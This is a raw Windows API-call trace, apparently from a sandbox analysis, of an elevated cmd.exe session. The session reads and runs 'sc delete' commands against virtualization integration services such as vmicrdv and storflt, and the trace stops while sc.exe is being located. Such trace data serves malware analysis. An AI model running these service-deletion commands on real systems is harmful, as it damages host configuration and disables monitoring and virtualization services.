1 [0068.033] GetEnvironmentStringsW () returned 0x4bba10* [0068.033] GetProcessHeap () returned 0x4a0000 [0068.033] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4b8980 [0068.033] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0068.033] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0068.033] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdc000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0068.034] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0068.261] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0068.261] CloseHandle (hObject=0x54) returned 1 [0068.262] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0068.262] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.262] GetProcessHeap () returned 0x4a0000 [0068.262] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8980 | out: hHeap=0x4a0000) returned 1 [0068.262] GetEnvironmentStringsW () returned 0x4bba10* [0068.262] GetProcessHeap () returned 0x4a0000 [0068.262] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4b8980 [0068.262] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0068.262] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.262] GetProcessHeap () returned 0x4a0000 [0068.262] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8980 | out: hHeap=0x4a0000) returned 1 [0068.262] GetEnvironmentStringsW () returned 0x4bba10* [0068.262] GetProcessHeap () returned 0x4a0000 [0068.262] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4b8980 [0068.262] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0068.262] GetProcessHeap () returned 0x4a0000 [0068.262] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b98a0 | out: hHeap=0x4a0000) returned 1 [0068.262] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0068.262] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.263] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.263] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.263] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.263] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0068.264] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.264] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0068.264] GetConsoleOutputCP () returned 0x1b5 [0068.264] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.264] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.264] GetProcessHeap () returned 0x4a0000 [0068.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0068.264] GetProcessHeap () returned 0x4a0000 [0068.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0068.264] GetProcessHeap () returned 0x4a0000 [0068.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9db0 | out: hHeap=0x4a0000) returned 1 [0068.264] GetProcessHeap () returned 0x4a0000 [0068.264] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0068.264] GetProcessHeap () returned 0x4a0000 [0068.265] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0068.265] GetProcessHeap () returned 0x4a0000 [0068.265] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0068.265] GetProcessHeap () returned 0x4a0000 [0068.265] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0068.265] GetProcessHeap () returned 0x4a0000 [0068.265] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8900 | out: hHeap=0x4a0000) returned 1 [0068.265] GetProcessHeap () returned 0x4a0000 [0068.265] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0068.265] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0068.265] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.265] GetFileType (hFile=0x120) returned 0x3 [0068.265] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.265] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0068.265] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.265] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.265] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.266] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0068.266] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.266] GetFileType (hFile=0x120) returned 0x3 [0068.266] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.266] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0068.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.266] GetFileType (hFile=0xb8) returned 0x3 [0068.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicrdv\ntbeat\nface\n") returned 1 [0068.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicrdv\ntbeat\nface\n") returned 1 [0068.266] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.266] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.266] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicrdv\ntbeat\nface\n") returned 1 [0068.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete vmicrdv\ntbeat\nface\n") returned 1 [0068.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete vmicrdv\ntbeat\nface\n") returned 1 [0068.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicrdv\ntbeat\nface\n") returned 1 [0068.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicrdv\ntbeat\nface\n") returned 1 [0068.267] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.267] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.267] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te vmicrdv\ntbeat\nface\n") returned 1 [0068.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e vmicrdv\ntbeat\nface\n") returned 1 [0068.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" vmicrdv\ntbeat\nface\n") returned 1 [0068.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="smicrdv\ntbeat\nface\n") returned 1 [0068.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="ticrdv\ntbeat\nface\n") returned 1 [0068.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="ocrdv\ntbeat\nface\n") returned 1 [0068.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="rrdv\ntbeat\nface\n") returned 1 [0068.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="fdv\ntbeat\nface\n") returned 1 [0068.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="lv\ntbeat\nface\n") returned 1 [0068.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="t\ntbeat\nface\n") returned 1 [0068.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="\ntbeat\nface\n") returned 1 [0068.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.270] GetFileType (hFile=0xb8) returned 0x3 [0068.270] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.270] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.270] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.270] GetFileType (hFile=0x120) returned 0x3 [0068.270] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete storflt\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete storflt\n", lpUsedDefaultChar=0x0) returned 19 [0068.270] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x12, lpOverlapped=0x0) returned 1 [0068.270] GetProcessHeap () returned 0x4a0000 [0068.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4bfb10 [0068.270] GetProcessHeap () returned 0x4a0000 [0068.270] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bfb10 | out: hHeap=0x4a0000) returned 1 [0068.270] GetProcessHeap () returned 0x4a0000 [0068.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0068.270] GetProcessHeap () returned 0x4a0000 [0068.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b8900 [0068.271] GetProcessHeap () returned 0x4a0000 [0068.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4b6510 [0068.271] GetConsoleOutputCP () returned 0x1b5 [0068.271] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.271] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.271] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.271] GetProcessHeap () returned 0x4a0000 [0068.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0068.272] GetProcessHeap () returned 0x4a0000 [0068.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x36) returned 0x4b6550 [0068.272] GetProcessHeap () returned 0x4a0000 [0068.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0068.272] SetErrorMode (uMode=0x0) returned 0x1 [0068.272] SetErrorMode (uMode=0x1) returned 0x0 [0068.272] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0068.272] SetErrorMode (uMode=0x1) returned 0x1 [0068.272] GetProcessHeap () returned 0x4a0000 [0068.272] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0068.272] GetProcessHeap () returned 0x4a0000 [0068.272] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0068.272] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.272] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.272] GetProcessHeap () returned 0x4a0000 [0068.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b9db0 [0068.272] GetProcessHeap () returned 0x4a0000 [0068.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0068.272] GetProcessHeap () returned 0x4a0000 [0068.272] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0068.272] GetProcessHeap () returned 0x4a0000 [0068.272] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0068.272] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.273] GetProcessHeap () returned 0x4a0000 [0068.273] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0068.273] GetProcessHeap () returned 0x4a0000 [0068.273] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0068.273] GetProcessHeap () returned 0x4a0000 [0068.273] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0068.273] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.273] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.273] GetLastError () returned 0x2 [0068.273] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.273] GetLastError () returned 0x2 [0068.273] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.274] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.274] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.274] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.274] GetLastError () returned 0x2 [0068.274] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, 